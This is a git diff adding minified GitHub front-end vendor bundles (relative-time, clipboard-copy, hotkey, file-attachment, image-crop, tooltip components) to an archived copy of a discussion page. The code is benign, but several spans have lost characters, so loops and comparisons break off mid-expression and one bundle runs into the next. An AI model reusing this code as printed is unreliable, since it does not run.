d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } 